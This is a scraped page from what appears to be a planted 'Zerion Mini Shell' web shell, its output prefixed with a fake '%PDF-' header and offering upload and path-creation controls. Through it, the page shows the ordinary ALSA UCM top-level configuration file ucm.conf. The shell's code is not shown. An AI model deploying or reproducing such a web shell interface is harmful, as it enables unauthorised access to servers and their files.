%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/share/alsa/ucm2/
Upload File :
Create Path :
Current File : //usr/share/alsa/ucm2/ucm.conf

#
# This is the toplevel file included from the alsa-lib.
#
# It allows to add extra lookups for the old kernels or so.
#
# You may specify the directory (relative to the toplevel) and
# the master configuration file which defines the verbs.
#

#
# Syntax version is reset for the master configuration file.
#

Syntax 3

Define.V1 ""		# non-empty string to enable ucm v1 paths
Define.V2Module yes	# empty string to disable
Define.V2Name yes	# empty string to disable

If.driver {
	Condition {
		Type String
		Empty "${CardNumber}"
	}
	True {
		#
		# The probed path for no-hw-card:
		#
		#   ucm2/${OpenName}/${OpenName}.conf
		#
		UseCasePath {
			legacy {
				Directory "${OpenName}"
				File "${OpenName}.conf"
			}
		}
	}
	False {

		#
		# The probed path when hw-card is found:
		#
		#   ucm2/${KernelModule}/${KernelModule}.conf
		#   ucm2/${CardDriver}/${CardLongName}.conf
		#   ucm2/${CardDriver}/${CardDriver}.conf
		#

		If.V2Module {
			Condition {
				Type String
				Empty "${var:V2Module}"
			}
			False {
				Define.KernelModulePath "class/sound/card${CardNumber}/device/driver"
				Define.KernelModule "${sys:$KernelModulePath}"
				UseCasePath.module {
					Directory "module"
					File "${var:KernelModule}.conf"
				}
			}
		}
		If.V2Name {
			Condition {
				Type String
				Empty "${var:V2Name}"
			}
			False.UseCasePath {
				longname {
					Directory "${CardDriver}"
					File "${CardLongName}.conf"
				}
				driver {
					Directory "${CardDriver}"
					File "${CardDriver}.conf"
				}
			}
		}
	}
}

If.V1 {
	Condition {
		Type String
		Empty "${var:V1}"
	}
	False.If.v1_driver {
		Condition {
			Type String
			Empty "${CardNumber}"
		}
		True {
			#
			# The probed path for no-hw-card:
			#
			#   ucm/${OpenName}/${OpenName}.conf
			#
			UseCasePath.v1_legacy {
				Version 1
				Directory "${OpenName}"
				File "${OpenName}.conf"
			}
		}
		False {
			#
			# The ucm v1 probed path when hw-card is found:
			#
			#   ucm/${CardLongName}/${CardLongName}.conf
			#   ucm/${CardName}/${CardName}.conf or \
			#			ucm/${OpenName}/${OpenName}.conf
			#
			UseCasePath.v1_longname {
				Version 1
				Directory "${CardLongName}"
				File "${CardLongName}.conf"
			}
			If.v1_hw {
				Condition {
					Type String
					Haystack "${OpenName}"
					Needle "hw:"
				}
				True.UseCasePath.v1_cardnamme {
					Version 1
					Directory "${CardName}"
					File "${CardName}.conf"
				}
				False.UseCasePath.v1_openname {
					Version 1
					Directory "${OpenName}"
					File "${OpenName}.conf"
				}
			}
		}
	}
}

Zerion Mini Shell 1.0